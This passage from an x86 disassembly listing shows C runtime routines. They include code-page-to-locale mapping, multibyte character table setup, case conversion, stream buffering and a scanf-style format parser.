dword_4DBE4C, 1 nop jmp near ptr 2650918h ; --------------------------------------------------------------------------- loc_420917: ; CODE XREF: sub_4208E2+23j cmp eax, 0FFFFFFFCh jnz short locret_42092B mov eax, dword_4DBE94 mov dword_4DBE4C, 1 locret_42092B: ; CODE XREF: sub_4208E2+38j retn sub_4208E2 endp ; =============== S U B R O U T I N E ======================================= sub_42092C proc near ; CODE XREF: sub_420749+118p ; sub_420749+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420959 sub eax, 4 jz short loc_420953 sub eax, 0Dh jz short loc_42094D dec eax jz short loc_420947 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420947: ; CODE XREF: sub_42092C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_42092C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420953: ; CODE XREF: sub_42092C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420959: ; CODE XREF: sub_42092C+9j mov eax, 411h retn sub_42092C endp ; =============== S U B R O U T I N E ======================================= sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DD260 rep stosd stosb xor eax, eax mov edi, offset dword_4DD150 mov dword_4DD144, eax mov dword_4DD15C, eax mov dword_4DD364, eax stosd stosd stosd pop edi retn sub_42095F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DD144 nop call near ptr 2650951h cmp eax, 1 jnz loc_420AC1 xor eax, eax mov esi, 100h loc_4209B2: ; CODE XREF: sub_420988+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4209B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420A03 push ebx push edi lea edx, [ebp+var_D] loc_4209D1: ; CODE XREF: sub_420988+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4209F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4209F8: ; CODE XREF: sub_420988+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4209D1 pop edi pop ebx loc_420A03: ; CODE XREF: sub_420988+42j push 0 lea eax, [ebp+var_514] push dword_4DD364 push dword_4DD144 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4244F4 push 0 lea eax, [ebp+var_214] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DD364 call sub_4232A8 push 0 lea eax, [ebp+var_314] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DD364 call sub_4232A8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420A7E: ; CODE XREF: sub_420988+135j mov dx, [ecx] test dl, 1 jz short loc_420A9C or byte_4DD261[eax], 10h mov dl, [ebp+eax+var_214] loc_420A94: ; CODE XREF: sub_420988+127j mov byte_4DD160[eax], dl jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420A9C: ; CODE XREF: sub_420988+FCj test dl, 2 jz short loc_420AB1 or byte_4DD261[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420A94 ; --------------------------------------------------------------------------- loc_420AB1: ; CODE XREF: sub_420988+117j and byte_4DD160[eax], 0 loc_420AB8: ; CODE XREF: sub_420988+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420A7E jmp short loc_420B0A ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420988+1Dj xor eax, eax mov esi, 100h loc_420AC8: ; CODE XREF: sub_420988+180j cmp eax, 41h jb short loc_420AE6 cmp eax, 5Ah ja short loc_420AE6 or byte_4DD261[eax], 10h mov cl, al add cl, 20h loc_420ADE: ; CODE XREF: sub_420988+174j mov byte_4DD160[eax], cl jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AE6: ; CODE XREF: sub_420988+143j ; sub_420988+148j cmp eax, 61h jb short loc_420AFE cmp eax, 7Ah ja short loc_420AFE or byte_4DD261[eax], 20h mov cl, al sub cl, 20h jmp short loc_420ADE ; --------------------------------------------------------------------------- loc_420AFE: ; CODE XREF: sub_420988+161j ; sub_420988+166j and byte_4DD160[eax], 0 loc_420B05: ; CODE XREF: sub_420988+15Cj inc eax cmp eax, esi jb short loc_420AC8 loc_420B0A: ; CODE XREF: sub_420988+137j pop esi leave retn sub_420988 endp ; =============== S U B R O U T I N E ======================================= sub_420B0D proc near ; CODE XREF: ___:00423684p ; ___:004236E0p ... cmp dword_4DD394, 0 jnz short locret_420B28 push 0FFFFFFFDh call sub_420749 pop ecx mov dword_4DD394, 1 locret_420B28: ; CODE XREF: sub_420B0D+7j retn sub_420B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp ; sub_41C3B1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DD15C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420B4D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BFD0 add esp, 0Ch jmp short loc_420BB0 ; --------------------------------------------------------------------------- loc_420B4D: ; CODE XREF: sub_420B29+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420B92 mov ecx, [ebp+arg_4] loc_420B58: ; CODE XREF: sub_420B29+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DD261[esi], 4 mov [edi], al jz short loc_420B7C inc edi inc ecx test edx, edx jz short loc_420B88 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420B8E jmp short loc_420B82 ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420B29+3Ej inc edi inc ecx test al, al jz short loc_420B92 loc_420B82: ; CODE XREF: sub_420B29+51j test edx, edx jnz short loc_420B58 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_420B29+44j and byte ptr [edi-1], 0 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B8E: ; CODE XREF: sub_420B29+4Fj and byte ptr [edi-2], 0 loc_420B92: ; CODE XREF: sub_420B29+2Aj ; sub_420B29+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420BAD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420BAD: ; CODE XREF: sub_420B29+6Fj mov eax, [ebp+arg_0] loc_420BB0: ; CODE XREF: sub_420B29+22j pop edi pop ebp retn sub_420B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx jnz short loc_420BDE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420C7C cmp eax, 7Ah jg loc_420C7C sub eax, 20h jmp loc_420C7C ; --------------------------------------------------------------------------- loc_420BDE: ; CODE XREF: sub_420BB3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420C11 cmp dword_43D084, 1 jle short loc_420BFE push 2 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_420C09 ; --------------------------------------------------------------------------- loc_420BFE: ; CODE XREF: sub_420BB3+3Dj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 2 loc_420C09: ; CODE XREF: sub_420BB3+49j test eax, eax jnz short loc_420C11 loc_420C0D: ; CODE XREF: sub_420BB3+AFj mov eax, ebx jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C11: ; CODE XREF: sub_420BB3+34j ; sub_420BB3+58j mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420C34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420C3D ; --------------------------------------------------------------------------- loc_420C34: ; CODE XREF: sub_420BB3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420C3D: ; CODE XREF: sub_420BB3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_420C0D cmp eax, 1 jnz short loc_420C6F movzx eax, [ebp+var_4] jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C6F: ; CODE XREF: sub_420BB3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420C7C: ; CODE XREF: sub_420BB3+14j ; sub_420BB3+1Dj ... pop ebx leave retn sub_420BB3 endp ; =============== S U B R O U T I N E ======================================= sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp ; sub_41DC5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DBDE0, ecx mov eax, offset dword_43D190 loc_420C90: ; CODE XREF: sub_420C7F+1Ej cmp ecx, [eax] jz short loc_420CB4 add eax, 8 inc edx cmp eax, offset dword_43D2F8 jl short loc_420C90 cmp ecx, 13h jb short loc_420CC1 cmp ecx, 24h ja short loc_420CC1 mov dword_4DBDDC, 0Dh retn ; --------------------------------------------------------------------------- loc_420CB4: ; CODE XREF: sub_420C7F+13j mov eax, dword_43D194[edx*8] mov dword_4DBDDC, eax retn ; --------------------------------------------------------------------------- loc_420CC1: ; CODE XREF: sub_420C7F+23j ; sub_420C7F+28j cmp ecx, 0BCh jb short loc_420CDB cmp ecx, 0CAh mov dword_4DBDDC, 8 jbe short locret_420CE5 loc_420CDB: ; CODE XREF: sub_420C7F+48j mov dword_4DBDDC, 16h locret_420CE5: ; CODE XREF: sub_420C7F+5Aj retn sub_420C7F endp ; =============== S U B R O U T I N E ======================================= sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42463D test eax, eax pop ecx jz short loc_420D6F cmp esi, offset dword_43D588 jnz short loc_420D04 xor eax, eax jmp short loc_420D0F ; --------------------------------------------------------------------------- loc_420D04: ; CODE XREF: sub_420CE6+18j cmp esi, offset dword_43D5A8 jnz short loc_420D6F push 1 pop eax loc_420D0F: ; CODE XREF: sub_420CE6+1Cj inc dword_4DBFAC test word ptr [esi+0Ch], 10Ch jnz short loc_420D6F cmp dword_4DBE50[eax*4], 0 push ebx push edi lea edi, ds:4DBE50h[eax*4] mov ebx, 1000h jnz short loc_420D55 push ebx call sub_41BEB5 test eax, eax pop ecx mov [edi], eax jnz short loc_420D55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D55: ; CODE XREF: sub_420CE6+4Dj ; sub_420CE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420D62: ; CODE XREF: sub_420CE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420CE6+10j ; sub_420CE6+24j ... xor eax, eax pop esi retn sub_420CE6 endp ; =============== S U B R O U T I N E ======================================= sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420D9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420DAE push esi call sub_41E42B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420D9D: ; CODE XREF: sub_420D73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420DAE push eax call sub_41E42B pop ecx loc_420DAE: ; CODE XREF: sub_420D73+10j ; sub_420D73+32j pop esi retn sub_420D73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4217B6 mov edi, [ebp+arg_0] jmp short loc_420DDF ; --------------------------------------------------------------------------- loc_420DDA: ; CODE XREF: sub_420DB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420DDF: ; CODE XREF: sub_420DB0+28j cmp dword_43D084, 1 jle short loc_420DF7 movzx eax, al push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420E06 ; --------------------------------------------------------------------------- loc_420DF7: ; CODE XREF: sub_420DB0+36j mov ecx, off_43CE78 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420E06: ; CODE XREF: sub_420DB0+45j cmp eax, ebx jz short loc_420E40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42183D pop ecx pop ecx push eax call sub_421826 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 add esp, 0Ch loc_420E2E: ; CODE XREF: sub_420DB0+8Ej test eax, eax jz short loc_420E40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 pop ecx jmp short loc_420E2E ; --------------------------------------------------------------------------- loc_420E40: ; CODE XREF: sub_420DB0+58j ; sub_420DB0+80j cmp byte ptr [esi], 25h jnz loc_421722 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420E77: ; CODE XREF: sub_420DB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43D084, 1 jle short loc_420E94 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420EA3 ; --------------------------------------------------------------------------- loc_420E94: ; CODE XREF: sub_420DB0+D3j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420EA3: ; CODE XREF: sub_420DB0+E2j test eax, eax jz short loc_420EB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EB9: ; CODE XREF: sub_420DB0+F5j cmp ebx, 4Eh jg short loc_420EFC jz short loc_420F1E cmp ebx, 2Ah jz short loc_420EF7 cmp ebx, 46h jz short loc_420F1E cmp ebx, 49h jz short loc_420ED9 cmp ebx, 4Ch jnz short loc_420F0B inc [ebp+var_D] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420ED9: ; CODE XREF: sub_420DB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420F0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420F0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EF7: ; CODE XREF: sub_420DB0+113j inc [ebp+var_E] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EFC: ; CODE XREF: sub_420DB0+10Cj cmp ebx, 68h jz short loc_420F18 cmp ebx, 6Ch jz short loc_420F10 cmp ebx, 77h jz short loc_420F13 loc_420F0B: ; CODE XREF: sub_420DB0+122j ; sub_420DB0+12Dj ... inc [ebp+var_F] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F10: ; CODE XREF: sub_420DB0+154j inc [ebp+var_D] loc_420F13: ; CODE XREF: sub_420DB0+159j inc [ebp+var_5] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F18: ; CODE XREF: sub_420DB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420F1E: ; CODE XREF: sub_420DB0+107j ; sub_420DB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420E77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420F43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420F43: ; CODE XREF: sub_420DB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420F61 mov al, [esi] cmp al, 53h jz short loc_420F5D cmp al, 43h jz short loc_420F5D or [ebp+var_5], 0FFh jmp short loc_420F61 ; --------------------------------------------------------------------------- loc_420F5D: ; CODE XREF: sub_420DB0+1A1j ; sub_420DB0+1A5j mov [ebp+var_5], 1 loc_420F61: ; CODE XREF: sub_420DB0+19Bj ; sub_420DB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420F9A cmp esi, 63h jz short loc_420F8B cmp esi, 7Bh jz short loc_420F8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42183D pop ecx jmp short loc_420F96 ; --------------------------------------------------------------------------- loc_420F8B: ; CODE XREF: sub_420DB0+1C5j ; sub_420DB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C loc_420F96: ; CODE XREF: sub_420DB0+1D9j pop ecx mov [ebp+var_14], eax loc_420F9A: ; CODE XREF: sub_420DB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420FAA cmp [ebp+var_C], eax jz loc_421786 loc_420FAA: ; CODE XREF: sub_420DB0+1EFj cmp esi, 6Fh jg loc_421211 jz loc_4214C3 cmp esi, 63h jz loc_4211EE cmp esi, 64h jz loc_4214C3 jle loc_42123B cmp esi, 67h jle short loc_42100E cmp esi, 69h jz short loc_420FF6 cmp esi, 6Eh jnz loc_42123B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4216F1 jmp loc_421717 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420DB0+229j push 64h pop esi loc_420FF9: ; CODE XREF: sub_420DB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421283 mov [ebp+var_17], 1 jmp loc_421288 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420DB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42102A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42102F ; --------------------------------------------------------------------------- loc_42102A: ; CODE XREF: sub_420DB0+26Aj cmp ebx, 2Bh jnz short loc_421046 loc_42102F: ; CODE XREF: sub_420DB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421049 ; --------------------------------------------------------------------------- loc_421046: ; CODE XREF: sub_420DB0+27Dj mov edi, [ebp+arg_0] loc_421049: ; CODE XREF: sub_420DB0+294j cmp [ebp+var_20], 0 jz short loc_421058 cmp [ebp+var_C], 15Dh jle short loc_42105F loc_421058: ; CODE XREF: sub_420DB0+29Dj mov [ebp+var_C], 15Dh loc_42105F: ; CODE XREF: sub_420DB0+2A6j ; sub_420DB0+2F2j cmp dword_43D084, 1 jle short loc_421074 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_42107F ; --------------------------------------------------------------------------- loc_421074: ; CODE XREF: sub_420DB0+2B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_42107F: ; CODE XREF: sub_420DB0+2C2j test eax, eax jz short loc_4210A4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4210A4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42105F ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420DB0+2D1j ; sub_420DB0+2DBj cmp byte_43D088, bl jnz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_4] push edi call sub_42180C mov ebx, eax mov al, byte_43D088 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4210CD: ; CODE XREF: sub_420DB0+360j cmp dword_43D084, 1 jle short loc_4210E2 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_4210ED ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420DB0+324j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_4210ED: ; CODE XREF: sub_420DB0+330j test eax, eax jz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4210CD ; --------------------------------------------------------------------------- loc_421112: ; CODE XREF: sub_420DB0+2FAj ; sub_420DB0+304j ... cmp [ebp+var_1C], 0 jz loc_4211AA cmp ebx, 65h jz short loc_42112A cmp ebx, 45h jnz loc_4211AA loc_42112A: ; CODE XREF: sub_420DB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_421151 mov [esi], al inc esi jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421151: ; CODE XREF: sub_420DB0+39Aj cmp ebx, 2Bh jnz short loc_421174 loc_421156: ; CODE XREF: sub_420DB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_421165 and [ebp+var_C], eax jmp short loc_421174 ; --------------------------------------------------------------------------- loc_421165: ; CODE XREF: sub_420DB0+3AEj ; sub_420DB0+3F8j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421174: ; CODE XREF: sub_420DB0+3A4j ; sub_420DB0+3B3j cmp dword_43D084, 1 jle short loc_421189 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421194 ; --------------------------------------------------------------------------- loc_421189: ; CODE XREF: sub_420DB0+3CBj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421194: ; CODE XREF: sub_420DB0+3D7j test eax, eax jz short loc_4211AA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4211AA: ; CODE XREF: sub_420DB0+366j ; sub_420DB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421826 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43D428 add esp, 0Ch jmp loc_421717 ; --------------------------------------------------------------------------- loc_4211EE: ; CODE XREF: sub_420DB0+20Cj cmp [ebp+var_20], eax jnz short loc_4211FD inc [ebp+var_C] mov [ebp+var_20], 1 loc_4211FD: ; CODE XREF: sub_420DB0+441j cmp [ebp+var_5], 0 jle short loc_421207 mov [ebp+var_16], 1 loc_421207: ; CODE XREF: sub_420DB0+451j mov edi, offset dword_43D300 jmp loc_42131C ; --------------------------------------------------------------------------- loc_421211: ; CODE XREF: sub_420DB0+1FDj mov eax, esi sub eax, 70h jz loc_4214BF sub eax, 3 jz loc_42130D dec eax dec eax jz loc_4214C3 sub eax, 3 jz loc_420FF9 sub eax, 3 jz short loc_42125F loc_42123B: ; CODE XREF: sub_420DB0+21Bj ; sub_420DB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421786 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421717 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421717 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420DB0+489j cmp [ebp+var_5], 0 jle short loc_421269 mov [ebp+var_16], 1 loc_421269: ; CODE XREF: sub_420DB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421320 mov eax, edi lea edi, [eax+1] jmp loc_42131C ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_420DB0+24Fj cmp ebx, 2Bh jnz short loc_4212AA loc_421288: ; CODE XREF: sub_420DB0+259j dec [ebp+var_C] jnz short loc_421299 cmp [ebp+var_20], 0 jz short loc_421299 mov [ebp+var_F], 1 jmp short loc_4212AA ; --------------------------------------------------------------------------- loc_421299: ; CODE XREF: sub_420DB0+4DBj ; sub_420DB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4212AA: ; CODE XREF: sub_420DB0+4D6j ; sub_420DB0+4E7j cmp ebx, 30h jnz loc_4214F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4212F8 cmp bl, 58h jz short loc_4212F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4212E2 push 6Fh loc_4212DC: ; CODE XREF: sub_420DB0+55Bj pop esi jmp loc_4214F8 ; --------------------------------------------------------------------------- loc_4212E2: ; CODE XREF: sub_420DB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx push 30h pop ebx jmp loc_4214F5 ; --------------------------------------------------------------------------- loc_4212F8: ; CODE XREF: sub_420DB0+517j ; sub_420DB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4212DC ; --------------------------------------------------------------------------- loc_42130D: ; CODE XREF: sub_420DB0+46Fj cmp [ebp+var_5], 0 jle short loc_421317 mov [ebp+var_16], 1 loc_421317: ; CODE XREF: sub_420DB0+561j mov edi, offset dword_43D2F8 loc_42131C: ; CODE XREF: sub_420DB0+45Cj ; sub_420DB0+4CEj or [ebp+var_18], 0FFh loc_421320: ; CODE XREF: sub_420DB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BF70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421344 cmp byte ptr [edi], 5Dh jnz short loc_421344 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421344: ; CODE XREF: sub_420DB0+584j ; sub_420DB0+589j mov dl, [ebp+var_35] loc_421347: ; CODE XREF: sub_420DB0+592j ; sub_420DB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4213AC inc edi cmp al, 2Dh jnz short loc_421393 test dl, dl jz short loc_421393 mov cl, [edi] cmp cl, 5Dh jz short loc_421393 inc edi cmp dl, cl jnb short loc_421366 mov al, cl jmp short loc_42136A ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_420DB0+5B0j mov al, dl mov dl, cl loc_42136A: ; CODE XREF: sub_420DB0+5B4j cmp dl, al ja short loc_42138F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_421377: ; CODE XREF: sub_420DB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_421377 loc_42138F: ; CODE XREF: sub_420DB0+5BCj xor dl, dl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420DB0+5A0j ; sub_420DB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_4213AC: ; CODE XREF: sub_420DB0+59Bj cmp byte ptr 